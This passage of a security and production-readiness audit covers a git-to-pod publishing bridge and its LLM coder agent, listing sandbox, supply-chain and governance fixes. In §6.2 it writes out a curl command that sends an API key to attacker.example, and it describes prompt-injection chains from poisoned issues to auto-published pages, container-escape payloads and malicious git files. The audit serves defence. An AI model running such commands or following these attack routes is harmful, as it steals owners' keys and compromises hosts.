  • ✔ users table (migration 012): owner_slug, web_id, pod_root, email, created_at. Helpers in src/lib/registry/users.ts. Remaining: FK from repos.owner to users.owner_slug — requires touching every repos.owner = ? query and a longer follow-up; the table coexists with the free-string owner column for now and the signup flow keeps them in sync.
  • ✔ Per-user quotas: src/lib/registry/quotas.ts ships assertCanCreateRepo (default 50 / owner), assertCanMintToken (default 10 / repo), assertCanDispatchRun (default 500 / owner / 24h). Per-repo disk quota (MAX_DISK_PER_REPO_BYTES, default 1GiB) enforced at the push CGI via getRepoDiskBytes with a 60s cache. All overridable via env. Tests in tests/quotas.test.ts.
  • Remaining — Switch CSS to a non-file backend (Postgres / SPARQL) for backupability and concurrent-write performance.

5. P3 — Nice-to-haves / strategic

  • Deletion-on-republish is already done — pruneStale ships. Update PRD §7 + README, which are stale.

  • Multi-host federation — accept arbitrary OIDC issuers (after the allowlist of P0-S4 is parameterised per-deployment).

  • Pull-request equivalent via pod-to-pod inboxes — reuses the mind-market-v0 request pattern. Pure feature work.

  • Custom domains for published sites. Out of scope of the bridge; a separate frontdoor service.

  • Multi-arch container images (linux/amd64 + linux/arm64) — only matters if you target Pi or Graviton.

  • SBOM via npm sbom or syft stored with the image.

  • Rootless container runtimes for the agent sandbox. The current design uses the host Docker daemon (filtered through socket-proxy per P0-S9) to spawn coder + workflow-runner siblings. Even with the proxy, the Docker daemon is root, so a body-level escape (a Privileged: true create payload) regains host root. Strategic alternatives, listed by ascending isolation and operational cost:

    • Rootless Podman — daemonless, runs as the unprivileged user that invokes it. The bridge could ship a podman CLI inside its container and talk to a per-user Podman socket. Drop-in for docker run; eliminates the "container ≡ host root" framing entirely.
    • Sysbox — a runc-compatible runtime that wraps containers with namespaces tight enough that even a --privileged container inside a Sysbox container can't see the host. Lowest friction migration from the current Docker layout.
    • gVisor / runsc — userspace kernel between container and host; closes a large class of kernel-level escape bugs at some compatibility cost.
    • Firecracker microVMs (via firecracker-containerd or Kata Containers) — hardware-virtualised sandbox, used by AWS Lambda for the same problem. Strongest, also the heaviest.

    Until one of these lands, assume a fully-compromised bridge means a re-paved VM and provision accordingly: dedicated host, daily snapshots, no shared secrets, no co-tenancy with anything that matters.


6. Agentic development — the coder driver

This chapter stands apart because the "agents that respond to issue events" subsystem (described in README.md, code in src/lib/agents/) is a different shape of production risk than the rest of the bridge. The bridge is plumbing — it translates protocols. The agents subsystem runs an LLM with file-write powers driven by user-supplied text. Its failure modes don't look like "the publisher returned 500", they look like "the coder committed a backdoor into your agent/issue-3 branch and then published it to your pod."

6.1 What the flow actually does

ensureAgentsBootstrap (src/lib/agents/bootstrap.ts) registers a single role — coder — bound to the coder driver, and fires it on issue.created and issue.commented. Credentials are resolved per repo owner via resolveCoderConfig(ownerWebId) (src/lib/ai-providers/store.ts:225): the owner's BYOK key from /profile/ai-providers first, then the bridge-wide OPENROUTER_API_KEY env, then a hard error. When an authenticated issue creation / comment occurs:

  1. The bridge clones the bare repo into MIND_CODER_WORKROOT (coder.ts).
  2. It docker runs ${MIND_CODER_IMAGE} (default mind-codespaces/coder:latest) bind-mounting ${workDir}:/work, host UID, the resolved provider key forwarded via --env <NAME> (the no-value form — Docker reads from the bridge's process env so the key never appears in ps auxe), --memory=1g --cpus=1, --pids-limit=256, --ulimit nofile=1024:1024, --read-only + --tmpfs /tmp:exec, --security-opt no-new-privileges, --cap-drop ALL, and --network ${MIND_CODER_NETWORK:-bridge}.
  3. Inside the container, the entrypoint writes the resolved key into /tmp/opencode/auth.json keyed by MIND_AI_PROVIDER and execs opencode run --dir /work -m <provider>/<model> --dangerously-skip-permissions "$task".
  4. The task prompt is the issue title + body + prior comments rendered by renderTaskPrompt, with an explicit two-mode contract: edit code (→ PR) or write .mind/agent-comment.md (→ comment on the issue, which re-fires the loop).
  5. After the container exits, the bridge inspects git status --porcelain, strips .mind/ and .playwright-mcp/ scratch dirs, commits to agent/issue-{n} as mind:agent:coder, pushes to the bare repo, and records a pull_requests row.
  6. That push fires the post-receive hook → if the repo's pages.sourceBranch matches, the publisher uploads the agent's work into the owner's pod.

The Dockerfile docstring states the design intent explicitly (infra/coder/Dockerfile:1-6): "opencode itself runs with --dangerously-skip-permissions because the container is the sandbox."

6.2 Where that trust model breaks today

The container is a partial network sandbox. --network is driven by MIND_CODER_NETWORK and defaults to bridge for the demo path. Full internet egress is still possible there — curl https://attacker.example/?key=$OPENROUTER_API_KEY from inside the container works. Setting MIND_CODER_NETWORK=none revokes egress and is recommended for prod; the open §3.4 Verdaccio mirror lets the agent fetch packages without the open bridge.

Trigger is now authenticated owner-only. P0-S1 closed the unauth issue route — only the repo owner can file an issue or comment, which is what fires the coder. An attacker still needs a stolen owner session to inject prompts; the unauthenticated stranger-on-the-internet path no longer exists. Prompt-injection from a malicious owner against themselves is now the main remaining exposure on this surface — bounded but real (an owner who's been socially engineered can wreck their own pod and burn their own BYOK quota).

The output is auto-published when Pages is enabled. Even with the auth fix, an owner who has Pages enabled and configures sourceBranch: "agent/issue-{n}" (or just main with an agent that merges to it) sees the agent's output published into their pod under the publisher's identity. The chain is the same; only the attacker shifted from "any reachable stranger" to "anyone who can compromise an owner session or the owner themselves."

The image is unpinned and unverified. MIND_CODER_IMAGE defaults to mind-codespaces/coder:latest. No digest pin, no signature, no SBOM. There is no documented build, push, or sign procedure — the Dockerfile is in-tree, but nothing in the repo turns it into a registry-hosted image. If you forget to build it ahead of time, the coder driver silently fails per-run; if you build it on a developer laptop and docker push, you've made an untracked supply-chain dependency.

opencode-ai@^1.15 is caret-pinned (Dockerfile:15). Two builds of "the same" Dockerfile produce different binaries because npm resolves the latest matching version at build time. The PRD's own warning ("CLI surface has churned across versions") applies.

Soft cost ceiling. MAX_RUNS_PER_OWNER_PER_DAY (default 500) caps total runs per owner per 24h via assertCanDispatchRun, and agentDispatch rate-limits the manual hand-fire route to 5 / 30s per IP. But there's no per-issue cap and no token-spend cap — a single comment loop the model decides to extend can chew through an owner's BYOK quota (under BYOK, that's the owner's own bill; under bridge-wide OPENROUTER_API_KEY, it's the operator's). Surface today's spend on /repos/{o}/{r} and refuse to dispatch when over budget.

The post-container git commit + push runs on the host (coder.ts:153-180). A malicious file the container produced inside /work — a symlink to /etc, a .gitattributes triggering filter execution, a .git/hooks/pre-commit if opencode wrote into a nested repo — gets handled by host git. opencode is "trusted" to not commit .git/ because the container is its sandbox, but the host then runs git add -A over whatever opencode wrote (coder.ts:159).

No content review before push. opencode can commit .env-style files into the repo; the publisher's forbidden-list (src/lib/pages/publisher.ts:19-21) catches them at publish time, but the commit lives in git history forever. There is no diff scanner, no secret scanner, no human-in-the-loop gate.

No streaming, no observability mid-run. agent_runs rows are written once after the container exits (coder.ts:24). A 10-minute run that's silently malicious looks identical to a 10-minute run that's silently productive until the final write.

6.3 What production needs for agentic development

The fixes split into three layers — sandbox, supply chain, governance — plus a hard product question.

Sandbox (the urgent set; lifts the trust model the Dockerfile claims):

  • Mediated Docker API access (P0-S9). When the bridge runs in a container — as in infra/prod/docker-compose.yml — it must NOT have /var/run/docker.sock mounted directly. Routing through tecnativa/docker-socket-proxy sets the outer trust boundary that every inner-sandbox item below depends on. ✔ Shipped in the prod compose; verify on every compose change that no service quietly re-adds the direct mount.
  • --network none on the coder container (coder.ts:127), with an explicit allowlist of egress destinations injected per-run if the agent legitimately needs to fetch packages. The "fetch through a Verdaccio mirror" approach from §3.4 applies here too. Companion finding: the workflows runner has the same gap, fix them together.
  • Stop passing the API key as a CLI -e value. Use --env OPENROUTER_API_KEY (the no-value form, which makes Docker read the variable from the bridge's process env), or --env-file with a per-run tmpfile chmod 600 that's deleted in the finally. Strips the key from ps auxe.
  • Drop --cap-add (none today, good), add --security-opt no-new-privileges, --read-only with explicit --tmpfs /tmp and writable bind only at /work, --pids-limit=256, --ulimit nofile=1024.
  • Make the host-side post-container git operations defensive: refuse to add symlinks (git config --local core.symlinks false in workDir before git add); refuse to commit anything matching the publisher forbidden-list; run git fsck after commit before push.
  • Per-run timeout already exists (coder.ts:81, 129, default 600 s) — good. Add a parent process-group kill on timeout (spawn detached: true + process.kill(-pid)), mirroring P0-R3.

Supply chain:

  • Build the coder image in CI on every merge to main, tag with the commit SHA, push to a registry you control, and set MIND_CODER_IMAGE to a @sha256:… digest in production. Never use :latest for a sandbox image.
  • Pin opencode-ai to an exact version, not ^1.15. Bump deliberately, with a changelog scan, after testing.
  • Pin the base image to a node:22-alpine@sha256:… digest. The Dockerfile's design comment ("size matters because we spin one per run") justifies alpine here, even though the bridge image itself should be Debian (different concerns).
  • Generate an SBOM per build (syft against the image). Track which opencode version produced which agent run by writing the resolved digest into the agent_runs.data blob.

Governance (the part that determines whether this feature is even safe to expose):

  • Trigger auth. ✔ Shipped — P0-S1 made issue creation and comment routes owner-only, so only the repo owner can fire the coder. Future work: a real "collaborators" model (the codebase reserves "team" for this concept; src/lib/agents/types.ts:17) so an owner can delegate without sharing their session.
  • Budget caps. MAX_RUNS_PER_OWNER_PER_DAY (500 default) caps run count; there's still no token spend cap, no per-repo cap, and no per-issue cap. Under BYOK the owner pays for runaway runs; under bridge-wide env, the operator does. Surface today's spend on /repos/{o}/{r} and refuse to dispatch when over budget.
  • Branch-target restrictions on Pages. pages.sourceBranch must not be settable to agent/* patterns unless the repo owner explicitly opts in via a separate confirmation. This breaks the most severe chain (poisoned issue → agent push → auto-publish) even when other defenses fail.
  • Diff review before push. At minimum, a secret scanner (gitleaks, trufflehog) over the staged tree before the coder's git push. Today the coder already opens a draft PR rather than merging — adding a secret-scan gate on that PR before merge closes the loop.
  • Audit trail. Persist the full opencode transcript (not just the 2000-char tail in the summary) for every run — into a separate logs table or object store, not into agent_runs.summary which feeds the UI. Required for incident response if a poisoned run does ship. The per-run log file under AGENT_LOGS_DIR is a start but isn't currently retained or rotated.

The product question. The PRD positions Mind Codespaces as a pod-first replacement for GitHub Pages — pushing static sites to user-owned storage. The agent-that-can-commit-code is a different product with a different threat model, and the current single coder role bundles them. Two reasonable resolutions:

  1. Split it. Keep the coder role out of v1; ship Pages publishing alone. Re-introduce the coder as a separate opt-in feature (or a sibling mind-engineer-v0 prototype) with its own production bar — branch-target restrictions, token budgets, mandatory --network none, secret scanner.
  2. Gate it. Keep the coder, but lock it behind MIND_ENABLE_CODER=1, branch-target restrictions on Pages, a token budget cap, and MIND_CODER_NETWORK=none by default — and document that operators of public deployments should leave it off.

Either path is defensible. The current state — coder enabled by default whenever the registry has a repo, default MIND_CODER_NETWORK=bridge, no token cap, no Pages branch-target restriction — is not.

6.4 Where this fits in the priorities

Most of §6 is P0 if you ship with the coder enabled and N/A if you don't. Concretely: if your v1 disables the coder, only the supply-chain items (image pinning, SBOM, no :latest) and the trigger-auth item (P0-S1, already on the list) carry over. If your v1 keeps the coder, add: --network none default + image digest pin + branch-target restriction + token-spend budget cap to the week-1 work in §7.

Either way, if the bridge itself runs in a container (i.e. you use infra/prod/docker-compose.yml), P0-S9 is also P0 — the bridge-↔-host-daemon trust boundary cuts across whether agents are enabled, because the workflows runner uses the same Docker socket. The shipped compose addresses this with socket-proxy; the residual-risk caveat in P0-S9 still applies.


7. Suggested sequencing

Six engineer-weeks of focused work to clear P0+P1; the four blocks below can be partially parallelised by a team of two.

Week 1 — security floor. ✔ P0-S1 (auth gate, session module + per-route requireOwner), ✔ P0-S2 (seeded fallback gated), ✔ P0-S3 (HMAC the hook + reinstall script), ✔ P0-S4 (OIDC hardened: CSRF, issuer pinning, secure cookies, identity_storage encrypted at rest), ✔ P0-S5 (pod-root verification at repo-create), ✔ P0-D4 (env validation module enforces all of the above at boot).

Week 2 — reliability floor. ✔ P0-R1 (publish lock with latest-wins coalescing), ✔ P0-R2 (OIDC refresh-failed distinct error class; never falls back silently), ✔ P0-R3 (process-group kill + 10min timeout + shutdown drain + truncated-success fix), ✔ P0-R6 (createRepo transaction + busy_timeout pragma), ✔ P0-S6 (symlink skip + extended forbidden list + size cap + validateName in coder). Outstanding from §3.2: integration test suite — no test runner yet wired.

Week 3 — deployment baseline. ✔ P0-D1 (Dockerfile + HEALTHCHECK against /api/livez), ✔ P0-D2 (prod compose with new required secrets + socket-proxy), ✔ P0-D3 (TLS + reverse proxy + split internal URL via BRIDGE_INTERNAL_URL), ✔ P0-D5 (real /api/health with registry/git/pod/docker + cached + /api/livez), ✔ P0-D6 first half (scripts/backup-registry.ts using SQLite online .backup(); npm run backup:registry). Remaining: schedule the backup script in the operator's environment, replace # TODO @sha256: markers with real digests in infra/prod/docker-compose.yml, document the restore drill.

Week 4 — hook reliability + observability. ✔ Hook delivery script (reinstall:hooks) for the rotation case; ✔ P0-R5 publish-status columns (migration 010) + PublishStatusBanner; ✔ P0-R7 Caddy request_body max_size cap; ✔ P0-R4 reconciler (migration 011 + src/lib/pages/reconciler.ts + instrumentation.ts boot + npm run reconcile:pages + POST /api/admin/reconcile); ✔ §3.1 structured logging (src/lib/log.ts) + correlation IDs + metrics (src/lib/metrics.ts + /api/metrics).

Week 5 — tests & workflows hardening. ✔ §3.5 agents hardening (key not in argv, sandbox flags, openrouter retry/timeout); ✔ Rate-limiter (src/lib/rate-limit.ts) wired into 5 high-risk POSTs + push-CGI Basic-auth-failure bucket; ✔ §3.4 workflows hardening (--network=none default, Verdaccio sidecar, --read-only, log-capture cap, stuck-run reaper at boot); ✔ P0-S8 second half (CORS allowlist src/proxy.ts, JSON size cap src/lib/http/json.ts); ✔ §3.2 priority unit tests (path-traversal, push-token lifecycle, publisher walk, quotas — 8 vitest passing). Remaining: §3.2 items 3, 4, 6, 8–10 (auth-gate matrix table test, real-git Smart-HTTP integration, live-CSS publish, migrations harness, OIDC roundtrip, concurrent push, reconciler integration).

Week 6 — error envelope + push-token lifecycle + CI. Remaining: §3.3 unified error envelope ({ error: { code, message } }) — drift still visible across the API; §3.6 token expiry/rotation/last-used columns + UI + server-side pepper; first GitHub Actions workflow (npm test + npm run smoke:db + npm run build + npx tsc --noEmit on every PR). P2 items begin.

Week 7 — multi-user signup + quotas + image pinning. ✔ Signup flow (POST /api/signup + /signup page + users table migration 012); ✔ Per-user quotas (src/lib/registry/quotas.ts); ✔ pin-image-digests.sh operator script. Remaining: repos.owner → users.owner_slug FK rewrite; CSS-backend swap from file to Postgres; image-pin step actually run on the deploy host.


8. Appendix — file:line index of the highest-value fixes

Fix Location
Authenticate API routes ✔ session module src/lib/auth/session.ts; wired into all POST/PATCH/PUT/DELETE under src/app/api/repos/..., /api/identities/{webId}, /api/agents/dispatch
Kill seeded fallback in prod ✔ src/lib/solid/fetch-for-owner.ts (gated on getEnv().allowSeededFallback)
HMAC the post-receive hook ✔ src/lib/git/backend.ts (hook script), src/app/api/git/internal/post-receive/route.ts (verify)
CSRF + issuer pinning on OIDC ✔ src/app/api/auth/start/route.ts (Origin + WebID-pinning + secure cookies via getEnv)
Encrypt identity_storage ✔ src/lib/registry/identities.ts (AES-256-GCM with IDENTITY_ENCRYPTION_KEY; legacy plaintext rows transparently re-encrypted on next write)
Verify ownerPodRoot vs WebID ✔ src/app/api/repos/route.ts calls verifyPodRootForWebId in src/lib/solid/profile.ts
Symlink check in walk ✔ src/lib/pages/publisher.ts (lstat-based)
Forbidden-list extension ✔ src/lib/pages/publisher.ts (extended dirs + prefixes + extensions + size cap)
Per-repo publish lock ✔ src/lib/pages/publish-lock.ts (latest-wins coalescer); called from publisher + workflow runner
Distinguish "no identity" vs "refresh failed" ✔ src/lib/solid/oidc-server.ts throws OidcRefreshFailedError; src/lib/solid/fetch-for-owner.ts re-raises as OwnerFetchUnavailableError
Process group + AbortSignal in CGI ✔ src/lib/git/http-cgi.ts (detached + group kill + 10min timeout + req.signal + shutdown drain + truncated-success fix)
Reinstall-hooks script ✔ scripts/reinstall-hooks.ts, npm run reinstall:hooks. Hook→pages reconciler (HEAD vs last_published_sha) still pending.
Publish status columns + UI ✔ src/lib/registry/migrations/010_publish_status.sql; markPagesFailed in src/lib/registry/repos.ts; PublishStatusBanner in src/app/repos/[owner]/[repo]/page.tsx:223
Rate limiter ✔ src/lib/rate-limit.ts (in-memory token-bucket); wired into /api/repos POST, /api/repos/{o}/{r}/{issues,tokens} POST, /api/auth/start, /api/agents/dispatch
Caddy push-body cap ✔ infra/prod/Caddyfile:32-34 request_body max_size {$MIND_MAX_PUSH_BODY:1GB}
SQLite online backup ✔ scripts/backup-registry.ts, npm run backup:registry (uses Database#backup())
Push-CGI brute-force throttle ✔ RATE_LIMITS.gitPushAuthFailure in src/lib/rate-limit.ts; isLockedOut/recordFailure wired in src/app/api/git/[owner]/[repo]/[...path]/route.ts
HEAD→last_published_sha reconciler ✔ migration 011_last_published_sha.sql; src/lib/pages/reconciler.ts; src/instrumentation.ts + src/lib/bootstrap.ts; npm run reconcile:pages; POST /api/admin/reconcile (Bearer BRIDGE_ADMIN_TOKEN)
CORS allowlist ✔ src/proxy.ts (Next.js 16 proxy convention); env BRIDGE_CORS_ALLOWED_ORIGINS
JSON response-size cap ✔ src/lib/http/json.ts jsonResponse() (default 5MB via BRIDGE_MAX_JSON_RESPONSE_BYTES); wired into listing GETs (/api/repos, /api/repos/{o}/{r}/issues, …/runs)
Per-user quotas ✔ migration 012_users.sql; src/lib/registry/users.ts; src/lib/registry/quotas.ts with env knobs MAX_REPOS_PER_OWNER, MAX_TOKENS_PER_REPO, MAX_RUNS_PER_OWNER_PER_DAY, MAX_DISK_PER_REPO_BYTES; assertions wired in /api/repos POST, /api/repos/{o}/{r}/tokens POST, /api/repos/{o}/{r}/runs POST, /api/agents/dispatch POST, and /api/git/.../[...path] push CGI
Account onboarding ✔ POST /api/signup (gated on BRIDGE_ENABLE_SIGNUP=1); /signup page + signup-form.tsx
Image digest pinning ✔ infra/prod/scripts/pin-image-digests.sh (operator-run on deploy host after docker compose pull)
Structured logger + correlation IDs ✔ src/lib/log.ts (NDJSON, LOG_LEVEL/LOG_FORMAT, scrubWebId, clip, withCorrelationId via AsyncLocalStorage); wired into publisher, post-receive, /api/auth/start, /api/auth/callback
Prometheus metrics endpoint ✔ src/lib/metrics.ts + src/app/api/metrics/route.ts (Bearer BRIDGE_METRICS_TOKEN); counters wired in publisher, workflows runner, agents dispatch, push CGI
Workflow network isolation ✔ src/lib/workflows/docker.ts --network=${MIND_WORKFLOW_NETWORK} default none + --read-only --cap-drop ALL --pids-limit=512; infra/prod/docker-compose.yml Verdaccio sidecar on mind-workflows network + infra/prod/verdaccio.yaml
Workflow log capture cap ✔ src/lib/workflows/docker.ts appendCapped (default 5MB via MIND_WORKFLOW_LOG_LIMIT)
Stuck workflow run reaper ✔ reapStuckRuns() in src/lib/registry/runs.ts; fired from ensureServerBootstrap
Test suite (vitest) ✔ vitest.config.ts, npm test / npm run test:watch; 8 tests in tests/ (path-traversal, push-token lifecycle, publisher walk, quotas)
DB transactions around createRepo ✔ src/lib/registry/repos.ts (db.transaction wraps both inserts)
busy_timeout pragma ✔ src/lib/registry/db.ts (5s)
Stream / size-cap publisher PUTs ✔ 50MB per-file cap (MAX_PUBLISH_FILE_SIZE); streaming PUTs still pending
Env validation module ✔ src/lib/env.ts; getEnv consumed by callback, hook, identities, publisher, post-receive, openrouter, coder
Real /api/health ✔ src/app/api/health/route.ts + new liveness probe src/app/api/livez/route.ts; Dockerfile.bridge HEALTHCHECK targets livez
CSRF helper for client components ✔ src/lib/auth/csrf-client.ts; consumed by token-manager, identity-row, comment-form, issue-actions, rerun-button, new-issue-form
Hardened coder docker invocation ✔ src/lib/agents/drivers/coder.ts: --env (no =value), --read-only, --tmpfs, --security-opt no-new-privileges, --cap-drop ALL, --pids-limit, --ulimit, MIND_CODER_NETWORK
OpenRouter retry/timeout ✔ src/lib/agents/drivers/openrouter.ts: 90s per-call AbortSignal timeout, retry on 429/5xx/network with exponential backoff + jitter
Bridge Dockerfile + prod compose ✔ infra/prod/Dockerfile.bridge, infra/prod/docker-compose.yml, infra/prod/Caddyfile
Docker socket mediation (P0-S9) ✔ infra/prod/docker-compose.yml socket-proxy service; bridge env DOCKER_HOST=tcp://socket-proxy:2375
Coder workdir env (MIND_CODER_WORKROOT) src/lib/agents/drivers/coder.ts:61, 125-130
Image digest pinning in prod infra/prod/.env.example (MIND_CODER_IMAGE), infra/prod/docker-compose.yml (caddy/css/socket-proxy tags)
Issues/comments pod→SQLite reconciler src/lib/registry/issues.ts, src/lib/solid/issues.ts; new startup hook
Synchronous first-write to pod for issues/comments src/app/api/repos/[owner]/[repo]/issues/route.ts:104-109, [number]/route.ts:81, comments/route.ts:92
pod_sync_status columns on issues/comments new migration on top of src/lib/registry/migrations/004_issues.sql
Rootless agent runtime (Podman / Sysbox / Firecracker) strategic; replaces the host-daemon dependency the proxy mediates
Use SQLite .backup() API ✔ scripts/backup-registry.ts — schedules at the operator level (cron / systemd timer / sidecar) still pending
Agents container: --env not =value; --network none src/lib/agents/drivers/coder.ts:111, 99-127
Coder image: pin to @sha256:…, build in CI, no :latest src/lib/agents/drivers/coder.ts:34, infra/coder/Dockerfile:8,15
Coder container: --read-only, no-new-privileges, --pids-limit src/lib/agents/drivers/coder.ts:105-127
Defensive host-side git after coder run src/lib/agents/drivers/coder.ts:153-180
Persist full opencode transcript to audit log src/lib/agents/drivers/coder.ts:130 (truncates to 2000 chars)
Branch-target restriction on pages.sourceBranch src/lib/registry/repos.ts:212-265, src/lib/pages/publisher.ts:
Per-repo / per-owner agent budget cap new module; called from src/lib/agents/dispatch.ts
MIND_ENABLE_CODER opt-in flag (and default to off in prod) src/lib/agents/bootstrap.ts
Workflows: hard-fail when Docker unavailable src/lib/workflows/runner.ts:62-67, src/lib/workflows/docker.ts:28-56
Stuck-run reaper startup pass over workflow_runs
OpenRouter retry on 5xx + timeout src/lib/agents/drivers/openrouter.ts:67-81, 107-141
Token expiry / rotation / last-used src/lib/registry/tokens.ts:19-39, 64-73; new migration
Pino logger replaces console.* across 20+ sites
Test scaffolding new package.json scripts, new tests/ dir, new .github/workflows/ci.yml
ESLint config new eslint.config.mjs; new lint script
Row validation layer src/lib/registry/{repos,runs,issues,agent-runs,identities,tokens}.ts
Unified error envelope every NextResponse.json({ error: … }) site

Source audits: four parallel agents, May 2026. Updated 2026-05-25 to reflect the managed-multi-user pass — see §7 Week 4–7 for the change manifest. Re-run when the codebase changes substantially — this document is a snapshot, not a contract.